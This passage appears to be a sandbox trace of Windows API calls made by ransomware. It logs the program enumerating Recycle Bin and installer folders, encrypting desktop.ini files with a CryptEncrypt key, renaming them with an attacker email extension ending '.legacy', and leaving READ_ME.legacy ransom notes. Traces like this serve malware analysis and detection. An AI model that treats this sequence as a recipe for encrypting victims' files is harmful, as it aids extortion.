lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0097.544] CreateFileW (lpFileName="\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x47c [0097.545] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=129) returned 1 [0097.545] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x81) returned 0x5484e0 [0097.545] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x81) returned 0x548570 [0097.545] ReadFile (in: hFile=0x47c, lpBuffer=0x5484e0, nNumberOfBytesToRead=0x81, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5484e0*, lpNumberOfBytesRead=0x2e1f9bc*=0x81, lpOverlapped=0x0) returned 1 [0097.546] SetFilePointer (in: hFile=0x47c, lDistanceToMove=-129, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0097.546] WriteFile (in: hFile=0x47c, lpBuffer=0x548570*, nNumberOfBytesToWrite=0x81, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x548570*, lpNumberOfBytesWritten=0x2e1f9bc*=0x81, lpOverlapped=0x0) returned 1 [0097.546] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5484e0 | out: hHeap=0x520000) returned 1 [0097.546] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x548570 | out: hHeap=0x520000) returned 1 [0097.546] SetFilePointer (in: hFile=0x47c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x81 [0097.546] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0097.546] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584da8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584da8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0097.547] WriteFile (in: hFile=0x47c, lpBuffer=0x584da8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584da8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0097.547] WriteFile (in: hFile=0x47c, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0097.547] CloseHandle (hObject=0x47c) returned 1 [0097.548] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584da8 | out: hHeap=0x520000) returned 1 [0097.548] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0097.548] MoveFileExW (lpExistingFileName="\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), lpNewFileName="\\$Recycle.Bin\\S-1-5-18\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0097.550] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0097.550] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d710 | out: hHeap=0x520000) returned 1 [0097.550] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d190 | out: hHeap=0x520000) returned 1 [0097.550] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0097.550] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x569bf8 | out: hHeap=0x520000) returned 1 [0097.550] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0097.550] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0097.550] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0097.550] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571b30 | out: hHeap=0x520000) returned 1 [0097.550] FindFirstFileW (in: lpFileName="\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0xb8c32a12, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5530a0 [0097.550] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0097.551] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0097.551] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0097.551] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0097.551] GetLastError () returned 0x0 [0097.551] SetLastError (dwErrCode=0x0) [0097.551] GetLastError () returned 0x0 [0097.551] SetLastError (dwErrCode=0x0) [0097.551] GetLastError () returned 0x0 [0097.551] SetLastError (dwErrCode=0x0) [0097.551] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c80 [0097.551] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d5b0 [0097.551] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d5b0 | out: hHeap=0x520000) returned 1 [0097.551] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0097.551] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x552f20 [0097.551] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552f20 | out: hHeap=0x520000) returned 1 [0097.551] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20090 [0097.551] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20090 | out: hHeap=0x520000) returned 1 [0097.551] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0097.551] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c80 | out: hHeap=0x520000) returned 1 [0097.551] FindNextFileW (in: hFindFile=0x5530a0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0xb8c32a12, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0097.551] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0097.551] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0097.551] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0097.552] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0097.552] GetLastError () returned 0x0 [0097.552] SetLastError (dwErrCode=0x0) [0097.552] GetLastError () returned 0x0 [0097.552] SetLastError (dwErrCode=0x0) [0097.552] GetLastError () returned 0x0 [0097.552] SetLastError (dwErrCode=0x0) [0097.552] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567188 [0097.552] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d9d0 [0097.552] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d9d0 | out: hHeap=0x520000) returned 1 [0097.552] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0097.552] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x552f20 [0097.552] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552f20 | out: hHeap=0x520000) returned 1 [0097.552] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20138 [0097.552] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20138 | out: hHeap=0x520000) returned 1 [0097.552] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0097.552] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567188 | out: hHeap=0x520000) returned 1 [0097.552] FindNextFileW (in: hFindFile=0x5530a0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0097.552] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0097.552] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0097.552] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0097.552] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0097.552] GetLastError () returned 0x0 [0097.552] SetLastError (dwErrCode=0x0) [0097.552] GetLastError () returned 0x0 [0097.552] SetLastError (dwErrCode=0x0) [0097.552] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57e558 [0097.553] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0097.553] GetLastError () returned 0x0 [0097.553] SetLastError (dwErrCode=0x0) [0097.553] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0097.553] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0097.553] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0097.553] FindNextFileW (in: hFindFile=0x5530a0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8c32a12, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb8c32a12, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb8c32a12, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0097.553] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e558 | out: hHeap=0x520000) returned 1 [0097.553] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0097.553] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0097.553] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0097.553] GetLastError () returned 0x0 [0097.553] SetLastError (dwErrCode=0x0) [0097.553] GetLastError () returned 0x0 [0097.553] SetLastError (dwErrCode=0x0) [0097.553] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57e3c8 [0097.553] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0097.553] GetLastError () returned 0x0 [0097.553] SetLastError (dwErrCode=0x0) [0097.553] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0097.553] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0097.553] FindNextFileW (in: hFindFile=0x5530a0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8c32a12, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb8c32a12, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb8c32a12, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0097.553] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x555868 [0097.553] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584040 [0097.554] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0097.554] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584040 | out: pbBuffer=0x584040) returned 1 [0097.554] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0097.554] SetFileAttributesW (lpFileName="\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini", dwFileAttributes=0x80) returned 1 [0097.554] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x56c808 [0097.554] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x553500 [0097.554] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0097.554] CreateFileW (lpFileName="\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x480 [0097.555] GetFileSizeEx (in: hFile=0x480, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=129) returned 1 [0097.555] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x81) returned 0x548690 [0097.555] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x81) returned 0x5484e0 [0097.555] ReadFile (in: hFile=0x480, lpBuffer=0x548690, nNumberOfBytesToRead=0x81, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x548690*, lpNumberOfBytesRead=0x2e1f9bc*=0x81, lpOverlapped=0x0) returned 1 [0097.556] SetFilePointer (in: hFile=0x480, lDistanceToMove=-129, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0097.556] WriteFile (in: hFile=0x480, lpBuffer=0x5484e0*, nNumberOfBytesToWrite=0x81, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5484e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x81, lpOverlapped=0x0) returned 1 [0097.556] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x548690 | out: hHeap=0x520000) returned 1 [0097.556] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5484e0 | out: hHeap=0x520000) returned 1 [0097.556] SetFilePointer (in: hFile=0x480, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x81 [0097.556] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0097.557] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584040*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584040*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0097.557] WriteFile (in: hFile=0x480, lpBuffer=0x584040*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584040*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0097.557] WriteFile (in: hFile=0x480, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0097.557] CloseHandle (hObject=0x480) returned 1 [0097.560] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584040 | out: hHeap=0x520000) returned 1 [0097.560] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0097.560] MoveFileExW (lpExistingFileName="\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), lpNewFileName="\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0097.564] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553500 | out: hHeap=0x520000) returned 1 [0097.564] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555868 | out: hHeap=0x520000) returned 1 [0097.564] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0097.564] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0097.564] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0097.564] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0097.564] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d60 | out: hHeap=0x520000) returned 1 [0097.564] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8c32a12, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x552f20 [0097.565] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e3c8 | out: hHeap=0x520000) returned 1 [0097.565] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0097.565] GetLastError () returned 0x0 [0097.565] SetLastError (dwErrCode=0x0) [0097.565] GetLastError () returned 0x0 [0097.565] SetLastError (dwErrCode=0x0) [0097.565] GetLastError () returned 0x0 [0097.565] SetLastError (dwErrCode=0x0) [0097.565] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566e08 [0097.565] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d7c0 [0097.565] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0097.565] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0097.565] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x553060 [0097.565] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553060 | out: hHeap=0x520000) returned 1 [0097.565] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200a8 [0097.565] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200a8 | out: hHeap=0x520000) returned 1 [0097.565] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0097.565] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566e08 | out: hHeap=0x520000) returned 1 [0097.565] FindNextFileW (in: hFindFile=0x552f20, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8c32a12, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0097.565] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0097.566] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0097.566] GetLastError () returned 0x0 [0097.566] SetLastError (dwErrCode=0x0) [0097.566] GetLastError () returned 0x0 [0097.566] SetLastError (dwErrCode=0x0) [0097.566] GetLastError () returned 0x0 [0097.566] SetLastError (dwErrCode=0x0) [0097.566] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567188 [0097.566] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56da28 [0097.566] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56da28 | out: hHeap=0x520000) returned 1 [0097.566] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0097.566] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x553060 [0097.566] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553060 | out: hHeap=0x520000) returned 1 [0097.566] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20078 [0097.566] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20078 | out: hHeap=0x520000) returned 1 [0097.566] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0097.566] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567188 | out: hHeap=0x520000) returned 1 [0097.566] FindNextFileW (in: hFindFile=0x552f20, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0097.566] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0097.566] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0097.566] GetLastError () returned 0x0 [0097.566] SetLastError (dwErrCode=0x0) [0097.566] GetLastError () returned 0x0 [0097.566] SetLastError (dwErrCode=0x0) [0097.566] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0097.567] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0097.567] GetLastError () returned 0x0 [0097.567] SetLastError (dwErrCode=0x0) [0097.567] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0097.567] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0097.567] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d5b0 [0097.567] FindNextFileW (in: hFindFile=0x552f20, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x121e6, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0097.567] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0097.567] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0097.567] GetLastError () returned 0x0 [0097.567] SetLastError (dwErrCode=0x0) [0097.567] GetLastError () returned 0x0 [0097.567] SetLastError (dwErrCode=0x0) [0097.567] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0097.567] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0097.567] GetLastError () returned 0x0 [0097.567] SetLastError (dwErrCode=0x0) [0097.567] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566f58 [0097.567] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566f58 | out: hHeap=0x520000) returned 1 [0097.567] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5568b0 [0097.567] FindNextFileW (in: hFindFile=0x552f20, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8c32a12, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb8c32a12, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb8c32a12, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0097.567] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0097.567] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0097.567] GetLastError () returned 0x0 [0097.567] SetLastError (dwErrCode=0x0) [0097.567] GetLastError () returned 0x0 [0097.568] SetLastError (dwErrCode=0x0) [0097.568] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0097.568] HeapFree (in: hHeap=0x520000, 